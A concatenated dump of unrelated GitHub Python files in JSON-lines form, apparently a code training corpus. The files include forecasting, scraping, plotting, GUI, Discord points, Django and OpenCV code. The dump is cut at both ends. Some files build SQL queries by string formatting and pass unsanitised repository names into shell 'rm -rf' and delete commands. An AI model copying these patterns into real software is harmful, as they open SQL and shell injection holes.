total_capacity with max value\n imputed_df['total_capacity'] = imputed_df['total_capacity'].fillna(\n imputed_df['total_capacity'].max())\n\n # fill usage with interpolation that is best appropriate of method\n imputed_df['usage'] = imputed_df['usage'].fillna(method='bfill')\n imputed_df['usage'] = imputed_df['usage'].fillna(method='ffill')\n\n imputed_df['usage_percentage'] = imputed_df['usage'] / \\\n imputed_df['total_capacity']*100\n\n self.df = imputed_df.copy()\n\n # convert object to int\n self.df['year'] = self.df['year'].astype(int)\n self.df['month'] = self.df['month'].astype(int)\n self.df['dayOfWeek'] = self.df['dayOfWeek'].astype(int)\n self.df['day'] = self.df['day'].astype(int)\n self.df['hour'] = self.df['hour'].astype(int)\n self.df['minute'] = self.df['minute'].astype(int)\n self.df['second'] = self.df['second'].astype(int)\n self.df['quarter'] = self.df['quarter'].astype(int)\n self.df['dayOfYear'] = self.df['dayOfYear'].astype(int)\n\n def fit(self, municipalityId):\n self.__loadData(municipalityId=municipalityId)\n self.__preprocess()\n\n # split data to train and test set\n horizon = pd.to_datetime(\"2017-08-05\")\n\n self.train_df = self.df[self.df.date < horizon]\n self.test_df = self.df[self.df.date >= horizon]\n\n FEATURES = self.df.drop(columns=['usage', 'time', 'date']).columns\n TARGET = 'usage'\n\n self.X_train = self.train_df[FEATURES]\n self.y_train = self.train_df[TARGET]\n\n self.X_test = self.test_df[FEATURES]\n self.y_test = self.test_df[TARGET]\n\n self.model = xgb.XGBRegressor(n_estimators=10000, learning_rate=0.001, n_jobs=7, random_state=42)\n self.model.fit(self.X_train, self.y_train,\n early_stopping_rounds=50,\n eval_set=[(self.X_train, self.y_train), (self.X_test, self.y_test)],\n verbose=100)\n\n def predict(self):\n self.test_df['prediction'] = self.model.predict(self.X_test)\n self.df = self.df.merge(self.test_df[['prediction']], left_index=True, right_index=True, how='left')\n\n def plot(self, municipalityId):\n self.predict()\n\n # usage and prediction plot in plotly interactive\n fig = go.Figure()\n fig.add_trace(go.Scatter(x=self.df.index, y=self.df['usage'], name='usage'))\n fig.add_trace(go.Scatter(x=self.df.index, y=self.df['prediction'], name='prediction'))\n fig.update_layout(title=f\"municipality_id: {municipalityId}\", xaxis_title='timestamp', yaxis_title='usage and prediction', colorway=['#5e0dac', '#ffa600'])\n \n st.plotly_chart(fig)\n\n def evaluate(self, municipalityId):\n # calculate error metrics and plot in plotly interactive\n mae = mean_absolute_error(self.y_test, self.df['prediction'].loc[self.y_test.index])\n mse = mean_squared_error(self.y_test, self.df['prediction'].loc[self.y_test.index])\n rmse = np.sqrt(mse)\n mape = self.mean_absolute_percentage_error(self.y_test, self.df['prediction'].loc[self.y_test.index])\n\n fig = go.Figure()\n fig.add_trace(go.Bar(x=['mae', 'mse', 'rmse', 'mape'], y=[mae, mse, rmse, mape], name='error metrics'))\n fig.update_layout(title=f\"municipality_id: {municipalityId}\", xaxis_title='error metrics', yaxis_title='value')\n\n st.plotly_chart(fig)\n\n ","repo_name":"uzunb/municipality-bus-utilization-forecasting","sub_path":"XGBoostModel.py","file_name":"XGBoostModel.py","file_ext":"py","file_size_in_byte":7670,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"2006061247","text":"# Module that collects the interfaces used with the programme to interact with the user.\n#\n# Author: Fernando García Gutiérrez\n# Email: fegarc05@ucm.es\n#\nfrom .tree import Level\nfrom . import plot\n\nimport sys\nimport os\nimport pandas as pd\nfrom abc import ABCMeta, abstractmethod\n\n\nclass BaseInterface(object):\n __metaclass__ = ABCMeta\n\n def __init__(self, name: str):\n self._name = name\n\n def __repr__(self):\n return f'Interface({self._name})'\n\n def __str__(self):\n return self.__repr__()\n\n @abstractmethod\n def getInput(self, **kwargs) -> object:\n raise NotImplementedError\n\n @abstractmethod\n def error(self, **kwargs) -> object:\n raise NotImplementedError\n\n @abstractmethod\n def update(self, **kwargs) -> object:\n raise NotImplementedError\n\n @abstractmethod\n def end(self, **kwargs) -> object:\n raise NotImplementedError\n\n\nclass PromptInterface(BaseInterface):\n COLORS = {\n 'purple': '\\033[95m',\n 'cyan': '\\033[96m',\n 'blue': '\\033[94m',\n 'green': '\\033[92m',\n 'red': '\\033[91m',\n 'yellow': '\\033[93m',\n 'END': '\\033[0m'\n }\n\n TITLE = \"\"\"\n \\ \\ / / | | | | \n \\ \\ /\\ / /__| | ___ ___ _ __ ___ ___ | |_ ___ \n \\ \\/ \\/ / _ \\ |/ __/ _ \\| '_ ` _ \\ / _ \\ | __/ _ \\ \n \\ /\\ / __/ | (_| (_) | | | | | | __/ | || (_) |\n \\/ \\/ \\___|_|\\___\\___/|_| |_| |_|\\___| \\__\\___/ \n\n /$$ /$$ /$$$$$$ /$$$$$$$ /$$$$$$ \n | $$$ | $$ /$$__ $$| $$__ $$ /$$__ $$\n | $$$$| $$ /$$$$$$ /$$ /$$ | $$ \\__/| $$ \\ $$| $$ \\__/\n | $$ $$ $$ /$$__ $$| $$ | $$ | $$ /$$$$| $$$$$$$/| $$$$$$ \n | $$ $$$$| $$$$$$$$| $$ | $$ | $$|_ $$| $$____/ \\____ $$\n | $$\\ $$$| $$_____/| $$ | $$ | $$ \\ $$| $$ /$$ \\ $$\n | $$ \\ $$| $$$$$$$| $$$$$$/ | $$$$$$/| $$ | $$$$$$/\n |__/ \\__/ \\_______/ \\______/ \\______/ |__/ \\______/ \n \"\"\"\n HEADER = \"\"\"\nProject supported by the Department of Computer Architecture and Automation, \nUniversidad Complutense De Madrid and the Department of Neurology of the Hospital \nClínico San Carlos.\n\nAuthors: Fernando Garcia-Gutierrez, Alfonso Delgado-Alvarez, Cristina Delgado-Alonso, \nJosefa Díaz-Álvarez, Vanesa Pytel, Maria Valles-Salgado, María Jose Gil, \nLaura Hernández-Lorenzo, Jorge Matías-Guiu, José L. Ayala, Jordi A. Matias-Guiu.\n \"\"\"\n\n NOTES = \"\"\"\nIMPORTANT, this program has been developed as a proof of concept. Neither the \nauthors nor the organisations involved are in any way responsible for any use \nmade of this programme or algorithms.\n \"\"\"\n\n def __init__(self):\n PromptInterface.clear()\n PromptInterface.print(self.TITLE, 'purple')\n PromptInterface.print(self.HEADER, 'purple')\n PromptInterface.print(self.NOTES, 'yellow')\n\n super(PromptInterface, self).__init__('Prompt')\n\n def getInput(self, message) -> str:\n return input(message)\n\n def update(self, test: Level) -> float:\n assert isinstance(test, Level)\n valid = False\n while not valid:\n user_input = self.getInput('\\nEnter the score obtained for the test %s: ' % str(test))\n try:\n user_input = float(user_input)\n except ValueError as ex:\n self.error()\n\n if isinstance(user_input, float):\n break\n\n return user_input\n\n def error(self):\n message = PromptInterface.print(\n '\\nIncorrect value entered, do you want to try again? [y/n]: ', 'red', display=False)\n try_again = self.getInput(message).lower()\n if try_again == 'n':\n sys.exit(0)\n\n return True\n\n def end(self, probs: pd.DataFrame):\n assert 'Diagnostic' in probs.columns\n assert 'Probability' in probs.columns\n\n title = 'Model diagnosis: %s' % probs[probs['Probability'] == probs['Probability'].max()]['Diagnostic'].values[0]\n plot.pieChart(probs, 'Diagnostic', 'Probability', title=title)\n\n return None\n\n @classmethod\n def print(cls, message: str, color: str, display: bool = True) -> str:\n \"\"\"\n Displays by console the specified message formatted in the specified colour if possible.\n Parameters\n ----------\n message: str\n Message to be displayed on the screen.\n color: str, default=None\n Colour of the message to be displayed on the screen. To see available colors use:\n help(niconnect.system.COLORS).\n display: bool, defaul=True\n Display the message in the screen.\n \"\"\"\n if color in cls.COLORS:\n message = '%s%s%s' % (cls.COLORS[color], message, cls.COLORS['END'])\n if display:\n print(message)\n\n return message\n\n @classmethod\n def clear(cls):\n if os.name == 'nt':\n _ = os.system('cls')\n else:\n _ = os.system('clear')\n\n","repo_name":"FernandoGaGu/NeuGPS","sub_path":"neugps/interfaz.py","file_name":"interfaz.py","file_ext":"py","file_size_in_byte":5158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"19527276897","text":"import scrapy\nfrom pathlib import Path\n\nfrom scrapy.utils.project import get_project_settings\nfrom bike_scraping.scripts.links import erdbikelinks\n\n\nclass ErdoganlarBike(scrapy.Spider):\n name = \"erdoganlarbike\"\n start_urls = erdbikelinks()\n headers = {\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\",\n \"Accept-Language\": \"en-US,en;q=0.9\",\n \"Host\": \"www.robitshop.com\",\n \"Connection\": \"keep-alive\",\n \"Upgrade-Insecure-Requests\": \"1\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36\"\n }\n\n def parse(self, response):\n for products in response.css(\"li.item\"):\n yield{\n \"name\": products.css(\"h2.product-name\").css(\"a\").attrib[\"title\"],\n \"url\": products.css(\"a.product-image\").attrib[\"href\"],\n \"price\": products.css(\"span.price::text\").get().replace(\"\\n\", \"\").replace(\"\\xa0\", \" \") \n }\n\n next_page = response.css(\"a.next.i-next\").attrib[\"href\"]\n\n if next_page is not None:\n yield response.follow(next_page, callback=self.parse)","repo_name":"veyselaksin/bike_scraping","sub_path":"bike_scraping/spiders/bike_spider.py","file_name":"bike_spider.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"12652860669","text":"import os \r\nimport scipy\r\nfrom numpy import *\r\nimport numpy as np\r\nimport cPickle as pkl\r\nfrom plotMacros import *\r\nimport mlabMacros as mlm\r\nimport trellesHelpers as TH\r\nimport qhullCommands as qh\r\npl = mlm.ml.pipeline\r\nml = mlm.ml\r\nimport pdb\r\n\r\nN = 400\r\nvar = 'Th'\r\nx,el,bx,bel = TH.fetchMesh(elements = True, boundaries = True)\r\nt,y = TH.fetchVar(var, N = N)\r\nU,s,Vh,yBar = TH.fetchSVD(var,N = N, compute = False)\r\n\r\n\r\nbidx = int32([])\r\nbels = int32([])\r\nbelFace = int32([])\r\nblab = array([])\r\n\r\nfor i in range(len(bx)):\r\n bidx = r_[bidx,bx[i]]\r\n blab = r_[blab, ones_like(bx[i])*i]\r\n bels = r_[bels,bel[i][0]]\r\n belFace = r_[belFace,bel[i][1]]\r\n\r\n\r\ndef bel2tri(el, bel, bface):\r\n #pdb.set_trace()\r\n f = array([ el[ bel[i] ][ TH.faces[ bface[i] ] ] for i in range(bel.shape[0])])\r\n tri = r_['0', f[:,:3], f[:,[0,2,3]]]\r\n return tri\r\n \r\ntri = bel2tri(el, bels,belFace)\r\nsly = slice(0,None,10)\r\n\r\n#\r\nxend = x[:-1,bx[-2]]*1e3\r\nmend = Vh[0,bx[-2]]\r\notri,idx, yend = qh.delaunay(xend)\r\n\r\nft = mlm.fig('Outlet Mode 0')\r\nml.triangular_mesh(mlm.sc(xend[0]), mlm.sc(xend[1]), mlm.sc(mend), otri,extent = mlm.ex, figure = ft)\r\nml.axes(figure = ft, ranges = [np.min(xend[0]),np.max(xend[0]),\r\n np.min(xend[1]),np.max(xend[1]),\r\n -1,1], extent = mlm.ex, nb_labels = 5, \r\n xlabel = 'x, mm', ylabel = 'y, mm', zlabel = '0th spatial mode, scaled')\r\nml.outline(figure = ft, extent = mlm.ex)\r\n\r\ngt = mlm.fig('Outlet Solution at t = 0')\r\nml.triangular_mesh(mlm.sc(xend[0]), mlm.sc(xend[1]), mlm.sc(y[0,bx[-2]]), otri,extent = mlm.ex, figure =gt)\r\nml.axes(figure = gt, ranges = [np.min(xend[0]),np.max(xend[0]),\r\n np.min(xend[1]),np.max(xend[1]),\r\n np.min(y[0,bx[-2]]),np.max(y[0,bx[-2]])], extent = mlm.ex, nb_labels = 5, \r\n xlabel = 'x, mm', ylabel = 'y, mm', zlabel = 'temperature, K')\r\nml.outline(figure = gt, extent = mlm.ex)\r\n\r\n#\r\n\r\n#f = mlm.fig('mode 0')\r\n#trisrc = pl.triangular_mesh_source(x[0], x[1], x[2], tri[:tri.shape[0]/2])\r\n#edge = pl.extract_edges(trisrc)\r\n#msh = pl.surface(edge, figure = f)\r\n#\r\n#src = pl.scalar_scatter(x[0,sly], x[1,sly], x[2,sly],Vh[0,sly], figure = f)\r\n#splat = pl.gaussian_splatter(src)\r\n#scp = pl.scalar_cut_plane(splat)\r\n#\r\n#theFig = f\r\n#execfile(\"mayascr_ROM_proposal.py\")\r\n##\r\n#g = mlm.fig('Full Solution')\r\n#\r\n#gtrisrc = pl.triangular_mesh_source(x[0], x[1], x[2], tri[:tri.shape[0]/2], figure = g)\r\n#gedge = pl.extract_edges(gtrisrc)\r\n#gmsh = pl.surface(gedge, figure = g)\r\n#\r\n#gsrc = pl.scalar_scatter(x[0,sly], x[1,sly], x[2,sly],y[0,sly], figure = g)\r\n#gsplat = pl.gaussian_splatter(gsrc)\r\n#gscp = pl.scalar_cut_plane(gsplat)\r\n##\r\n#theFig = g\r\n#execfile(\"mayascr_ROM_proposal.py\")\r\nml.show()\r\n","repo_name":"mcannamela/mike-cs-code","sub_path":"junk/torchModel/scr_ROM_proposal_torch_plots.py","file_name":"scr_ROM_proposal_torch_plots.py","file_ext":"py","file_size_in_byte":2885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"7014607397","text":"import sys\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtWidgets import *\n\n\nclass Window(QGraphicsView):\n def __init__(self):\n super(Window, self).__init__()\n self.graphics_scene = QGraphicsScene()\n self.graphics_scene.setSceneRect(0, 0, 220, 100)\n\n self.label = QLabel('label')\n self.button = QPushButton('button')\n\n self.label_proxy = self.graphics_scene.addWidget(self.label) # 1\n self.button_proxy = self.graphics_scene.addWidget(self.button)\n self.label.setAttribute(Qt.WA_TranslucentBackground)\n self.button.setAttribute(Qt.WA_TranslucentBackground)\n self.label_proxy.setPos(10, 20)\n self.button_proxy.setPos(50, 20)\n\n self.resize(220, 100)\n self.setScene(self.graphics_scene)\n\n\nif __name__ == '__main__':\n app = QApplication([])\n window = Window()\n window.show()\n sys.exit(app.exec())","repo_name":"la-vie-est-belle/book-codes","sub_path":"第7章/示例代码7-9/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":920,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"42762872726","text":"import Database, threading\n\nclass PointsManager(object):\n def __init__(self, client=None):\n self.client = client\n\n print(\"== Points Manager initiated.\")\n\n def thread(self, function):\n t1 = threading.Thread(target=function)\n t1.daemon = True\n t1.start()\n\n def checkpoints(self, serverid, memberid):\n conn = Database.DB()\n with conn.cursor() as cursor:\n sql = \"SELECT `points` FROM `points` WHERE `server`={0} AND `userid`={1}\".format(str(serverid), str(memberid))\n cursor.execute(sql)\n for row in cursor:\n conn.close()\n return int(row['points'])\n\n def memberHasPoints(self, serverid, memberid):\n conn = Database.DB()\n with conn.cursor() as cursor:\n sql = \"SELECT count(*) as membercheck FROM points WHERE server={0} AND userid={1}\".format(str(serverid), str(memberid))\n cursor.execute(sql)\n exists = 0\n for row in cursor:\n exists = row['membercheck']\n break\n conn.close()\n if exists > 0:\n return True\n else:\n return False\n\n def givepoints(self, points, serverid, memberid):\n conn = Database.DB()\n if self.memberHasPoints(serverid, memberid):\n with conn.cursor() as cursor:\n sql = \"UPDATE `points` SET `points`=points+{0} WHERE server={1} AND userid={2}\".format(str(points), str(serverid), str(memberid))\n cursor.execute(sql)\n conn.commit()\n print(\"\\033[94m\" + cursor._last_executed + \"\\033[0m\")\n conn.close()\n print(\"== \" + memberid, \"given\", points, \"points.\")\n return True\n elif not self.memberHasPoints(serverid, memberid):\n with conn.cursor() as cursor:\n sql = \"INSERT INTO `points` (`userid`, `points`, `server`) VALUES ({0}, {1}, {2})\".format(str(memberid), str(points), str(serverid))\n cursor.execute(sql)\n conn.commit()\n print(\"\\033[94m\" + cursor._last_executed + \"\\033[0m\")\n conn.close()\n print(\"== \" + memberid, \"given\", points, \"points.\")\n return True\n return False\n\n def minusPoints(self, points, serverid, memberid):\n conn = Database.DB()\n if self.memberHasPoints(serverid, memberid):\n pointsHas = int(self.checkpoints(serverid, memberid))\n if pointsHas < points:\n return False\n elif pointsHas >= points:\n with conn.cursor() as cursor:\n sql = \"UPDATE `points` SET `points`=points-{0} WHERE server={1} AND userid={2}\".format(str(points), str(serverid), str(memberid))\n cursor.execute(sql)\n conn.commit()\n print(\"\\033[94m\" + cursor._last_executed + \"\\033[0m\")\n conn.close()\n print(\"== \" + memberid, \"lost\", points, \"points.\")\n return True\n else:\n return False\n\n def insertNewMember(self, userid, serverid):\n conn = Database.DB()\n with conn.cursor() as cursor:\n sql = \"INSERT IGNORE INTO `points` SET `userid`={0}, `points`={1}, `server`={2};\".format(userid, 50, serverid)\n cursor.execute(sql)\n conn.commit()\n print(\"\\033[94m\" + cursor._last_executed + \"\\033[0m\")\n return True\n return False\n\n def massGive(self, serverid, listIDs, points):\n conn = Database.DB()\n print(\"MASS GIVE\")\n with conn.cursor() as cursor:\n all_members = ','.join([\"'\"+str(member)+\"'\" for member in listIDs])\n sql = \"UPDATE `points` SET `points` = `points` + {0} WHERE `server`='{1}' AND `userid` IN ({2})\".format(points, str(serverid), all_members)\n if len(sql) > 65000:\n return False\n try:\n cursor.execute(sql)\n conn.commit()\n print(\"\\033[94m\" + cursor._last_executed + \"\\033[0m\")\n except:\n return False\n conn.close()\n return True\n\n def topTen(self, serverid):\n conn = Database.DB()\n print(\"== TOP 10 QUERIED\")\n top = []\n with conn.cursor() as cursor:\n sql = \"SELECT * FROM `points` WHERE `server`={0} ORDER BY `points` DESC LIMIT 10\".format(serverid)\n try:\n cursor.execute(sql)\n except:\n return False\n for row in cursor:\n person = dict()\n person['id'] = row['userid']\n person['points'] = row['points']\n top.append(person)\n conn.close()\n return top\n\n def reset(self, serverid):\n conn = Database.DB()\n print(\"== RESETTING SERVER\", serverid)\n with conn.cursor() as cursor:\n if serverid == 0:\n sql = \"UPDATE `points` SET `points`=50\"\n else:\n sql = \"UPDATE `points` SET `points`=50 WHERE `server`={0}\".format(serverid)\n try:\n cursor.execute(sql)\n conn.commit()\n print(\"\\033[94m\" + cursor._last_executed + \"\\033[0m\")\n except:\n return False\n conn.close()\n return True","repo_name":"Vinlock/imperial-discord-bot","sub_path":"BettingSystem/PointsManager.py","file_name":"PointsManager.py","file_ext":"py","file_size_in_byte":5376,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"26052719162","text":"from __future__ import unicode_literals\nfrom zope.cachedescriptors.property import Lazy\nfrom gs.content.email.base import SiteEmail, TextMixin\nfrom gs.profile.base.page import ProfilePage\nfrom Products.GSGroup.interfaces import IGSMailingListInfo\nUTF8 = 'utf-8'\n\n\nclass VerifyAddress(ProfilePage, SiteEmail):\n @Lazy\n def email(self):\n l = IGSMailingListInfo(self.groupInfo.groupObj)\n retval = l.get_property('mailto')\n return retval\n\n def get_support_email(self, verificationLink, emailAddress, userInfo):\n b = '''Hello,\n\nI received a message to verify the email address <{email}>,\nusing the link <{link}>\nand...\n\n--\nMe: {userInfo.name}\n <{siteInfo.url}{userInfo.url}>\n'''\n body = b.format(email=emailAddress, link=verificationLink,\n siteInfo=self.siteInfo, userInfo=userInfo)\n retval = self.mailto(self.siteInfo.get_support_email(),\n 'Verify address', body)\n return retval\n\n\nclass VerifyAddressText(VerifyAddress, TextMixin):\n def __init__(self, context, request):\n super(VerifyAddressText, self).__init__(context, request)\n filename = 'verify-address-%s.txt' % self.userInfo.name\n self.set_header(filename)\n","repo_name":"groupserver/gs.profile.email.verify","sub_path":"gs/profile/email/verify/notifymessages.py","file_name":"notifymessages.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70198704552","text":"from github import Github\r\nimport os\r\nfrom datetime import datetime,timedelta\r\n\r\n# Use WSL if you are using it on windows\r\n\r\nwith open(\"api_key.txt\") as f:\r\n # save github api key in api.txt file\r\n API_KEY=f.read()\r\n\r\n\r\nPATH = './data/raw/python'\r\n\r\n\r\ndef make_dir(DIR):\r\n if not os.path.isdir(DIR):\r\n os.mkdir(DIR)\r\n\r\ndef delete_git(DIR):\r\n for f in os.listdir(DIR):\r\n loc = os.path.join(DIR,f)\r\n if os.path.isdir(os.path.join(loc,'.git')):\r\n os.system(f\"rm -rf {os.path.join(DIR,'.git')}\")\r\n\r\n\r\ndef delete_non_py_file(loc):\r\n os.system(f\"cd {loc} && find . -type f ! -name '*.py' -delete\")\r\n\r\n\r\ndef clone_repo(item,loc):\r\n os.system(f\"cd {loc} && git clone {item.clone_url}\")\r\n delete_git(loc)\r\n delete_non_py_file(loc)\r\n\r\nK=600\r\ndef main():\r\n g = Github(API_KEY)\r\n\r\n\r\n for i in range(1,1000):\r\n start= str(datetime.today()-timedelta(K+i+1))[:-16]\r\n end = str(datetime.today()-timedelta(K+i))[:-16]\r\n\r\n query = f'numpy tutorial language:python created:{start}..{end}'\r\n\r\n result = g.search_repositories(query)\r\n\r\n lst = []\r\n\r\n for item in result:\r\n print(item)\r\n loc = os.path.join(PATH,item.owner.login)\r\n make_dir(loc)\r\n clone_repo(item,loc)\r\n\r\n\r\n with open('logs.txt','w') as f:\r\n f.write(f\"Downloading days:{i}\")\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"joey00072/Python-Smart-Code-Generation","sub_path":"download_data.py","file_name":"download_data.py","file_ext":"py","file_size_in_byte":1620,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"72"} +{"seq_id":"73478825194","text":"from django.http import HttpResponseRedirect\nfrom django.contrib.auth import authenticate, login\nfrom django.shortcuts import render\nfrom rasp.models import Task, Work_category, ResponseOnTask\nimport datetime\nfrom .forms import OrderForm, LoginForm\nfrom django.contrib.auth import authenticate\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.models import User\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.http.response import JsonResponse\nimport json\n\n\n\nTITLE_CHOICES = (('red', 'не готово'),\n ('yellow', 'необходима проверка'),\n ('green', 'готово')\n )\n\n\n@login_required(login_url='/login/')\ndef index(request):\n \"\"\"\n Функция отображения для домашней страницы сайта.\n \"\"\"\n\n num_authors = Task.objects.all().filter(status__contains='red', authors_name=request.user).order_by('-pub_date')\n\n categorys = Work_category.objects.all()\n now = datetime.datetime.now()\n\n context = {\n 'num_authors': num_authors,\n 'categorys': categorys,\n 'now': now\n }\n return render(request, 'rasp/index.html', context,)\n\n\n@login_required(login_url='/login/')\ndef index1(request, work_category_slug):\n categorys = Work_category.objects.all()\n categ = Work_category.objects.get(slug=work_category_slug)\n task_on_category = Task.objects.all().filter(authors_class=categ, authors_name=request.user, status__contains='red').order_by('-pub_date')\n now_time = datetime.datetime.now()\n context = {\n 'categ': categ,\n 'task_on': task_on_category,\n 'categorys': categorys,\n 'now': now_time\n }\n\n return render(request, 'rasp/task_cat.html', context,)\n\n\n@login_required(login_url='/login/')\ndef task_view(request, task_slug):\n categorys = Work_category.objects.all()\n tas = Task.objects.get(slug1=task_slug)\n now_time = datetime.datetime.now()\n context = {\n 'tas': tas,\n 'categorys': categorys,\n 'now': now_time\n }\n\n return render(request, 'rasp/task_res.html', context,)\n\n\n@login_required(login_url='/login/')\ndef order_create_view(request, task_slug):\n categorys = Work_category.objects.all()\n tas = Task.objects.get(slug1=task_slug)\n form = OrderForm(request.POST or None)\n context = {\n 'form': form,\n 'tas': tas,\n 'categorys': categorys\n }\n\n if form.is_valid():\n intro_text_responce = form.cleaned_data['intro_text_responce']\n responce_text = form.cleaned_data['responce_text']\n new_responce = ResponseOnTask.objects.create(\n responce_task=tas,\n user_responce=request.user,\n intro_text_responce=intro_text_responce,\n responce_text=responce_text,\n status_task=TITLE_CHOICES[1]\n )\n tas.status = TITLE_CHOICES[1]\n tas.save()\n return HttpResponseRedirect('/')\n return render(request, 'rasp/order.html', context)\n\n\n@login_required(login_url='/login/')\ndef task_check_view(request):\n categorys = Work_category.objects.all()\n num_authors = Task.objects.all().filter(status__contains='yellow', authors_name=request.user).order_by('end_date')\n\n context = {\n 'num_authors': num_authors,\n 'categorys': categorys\n }\n return render(request, 'rasp/task_check.html', context,)\n\n\ndef login_view(request):\n form = LoginForm(request.POST or None)\n context = {\n 'form': form\n }\n\n if form.is_valid():\n username = form.cleaned_data['username']\n password = form.cleaned_data['password']\n login_user = authenticate(username=username, password=password)\n if login_user:\n login(request, login_user)\n return HttpResponseRedirect('/')\n return render(request, 'rasp/autentification.html', context,)\n\n\n'''class UserViewSet(viewsets.ModelViewSet):\n \"\"\"\n API endpoint that allows users to be viewed or edited.\n \"\"\"\n queryset = User.objects.all()\n serializer_class = UserSerializer\n\n\nclass UserList(generics.ListCreateAPIView):\n queryset = User.objects.all()\n serializer_class = UserSerializer\n\n\nclass UserDetail(generics.RetrieveDestroyAPIView):\n queryset = User.objects.all()\n serializer_class = UserSerializer\n\n\nclass TaskList(generics.ListCreateAPIView):\n queryset = Task.objects.all().filter()\n serializer_class = TaskSerializer\n\n\nclass TaskDetail(generics.RetrieveDestroyAPIView):\n slug_field = 'slud1'\n queryset = Task.objects.all()\n serializer_class = TaskSerializer\n \n\nfrom rest_framework import generics\nfrom rest_framework import permissions\nfrom .permissions import IsOwnerOrReadOnly\nfrom rest_framework.authentication import SessionAuthentication, BasicAuthentication\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\n\nclass ExampleView(APIView):\n authentication_classes = (SessionAuthentication, BasicAuthentication)\n permission_classes = (IsAuthenticated,)\n\n def get(self, request, format=None):\n content = {\n 'user': request.user, # `django.contrib.auth.User` instance.\n 'auth': request.auth, # None\n }\n return Response(content)\n\n\nclass SnippetList(generics.ListCreateAPIView):\n permission_classes = (permissions.IsAuthenticatedOrReadOnly,\n IsOwnerOrReadOnly, IsAuthenticated,)\n serializer_class = TaskSerializer\n\n def get_queryset(self):\n user = self.request.user\n return Task.objects.all().filter(authors_name=user)\n\n def perform_create(self, serializer):\n serializer.save(authors_name=self.request.user)\n\n\nclass SnippetDetail(generics.RetrieveUpdateDestroyAPIView):\n permission_classes = (permissions.IsAuthenticatedOrReadOnly, IsAuthenticated,)\n queryset = Task.objects.all()\n serializer_class = TaskSerializer\n\n\nclass UserList(generics.ListAPIView):\n queryset = User.objects.all()\n serializer_class = UserSerializer\n\n\nclass UserDetail(generics.RetrieveAPIView):\n queryset = User.objects.all()\n serializer_class = UserSerializer\n\n'''\n\n\n@csrf_exempt\ndef api_login(request):\n data = json.loads(request.body.decode())\n print(data)\n print(data['username'])\n user = User.objects.all().filter(username=data['username']).first()\n print(user)\n if user.check_password(data['password']):\n print('qwe')\n task1 = Task.objects.all().values('intro_text', 'task_text', 'pub_date', 'end_date').filter(authors_name=user)\n print(task1)\n for instance in task1:\n instance['pub_date'] = instance['pub_date'].strftime('%Y %m %d T%H:%M:%S')\n instance['end_date'] = instance['end_date'].strftime('%Y %m %d T%H:%M:%S')\n task = dict(zip((i for i in range(len(list(task1)))), (list(task1))))\n return JsonResponse(task)\n","repo_name":"SergeyShobin/1","sub_path":"rasp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"44622397008","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nAI보안영상인식 14주차\r\n\r\nauthor: cspark@iscu.ac.kr\r\nReference: https://opencv-python.readthedocs.io/en/latest/doc/07.imageArithmetic/imageArithmetic.html\r\n\"\"\"\r\n\r\nimport cv2 as cv\r\n\r\n## [capture]\r\ncapture = cv.VideoCapture('vtest.avi')\r\n# capture = cv.VideoCapture('AD_street_parking_santafe_set1_no1_20200818.mp4')\r\n# capture = cv.VideoCapture('43653691_20200211-14h19m22s_R_P.mp4')\r\n\r\nframe_index = 1\r\n_, frame_prev = capture.read()\r\nwhile True:\r\n frame_index = frame_index + 1\r\n _, frame = capture.read()\r\n if frame is None:\r\n break\r\n\r\n # beta = 98\r\n # frame_prev = cv.addWeighted(frame_prev, float(beta)/100, frame, float(100-beta)/100, 0)\r\n frame_prev = cv.addWeighted(frame_prev, (frame_index-1)/frame_index, frame, 1/frame_index, 0)\r\n\r\n ## [display_frame_number]\r\n #get the frame number and write it on the current frame\r\n cv.rectangle(frame, (10, 2), (100,20), (255,255,255), -1)\r\n cv.putText(frame, str(capture.get(cv.CAP_PROP_POS_FRAMES)), (15, 15),\r\n cv.FONT_HERSHEY_SIMPLEX, 0.5 , (0,0,0))\r\n \r\n ## [show]\r\n cv.imshow('Frame', frame)\r\n cv.imshow('Background', frame_prev)\r\n\r\n keyboard = cv.waitKey(1) & 0xFF\r\n if keyboard == 27:\r\n break\r\n \r\ncapture.release()\r\ncv.destroyAllWindows()\r\n","repo_name":"cspark-ISCU/AI-Vision","sub_path":"14주/KOCW_14주_4.py","file_name":"KOCW_14주_4.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"39145683619","text":"import argparse\nimport time\n\nimport pytorch_lightning as pl\nfrom pytorch_lightning import loggers\nfrom pytorch_lightning.callbacks import ModelCheckpoint\n\nfrom src.consts import get_alpha\nfrom src.datamodule import HAM10000DataModule\nfrom src.model import MobileNetLightningModel\nfrom src.save_setup import save_setup\n\n\ndef main() -> None:\n argParser = argparse.ArgumentParser()\n argParser.add_argument(\n \"-m\",\n 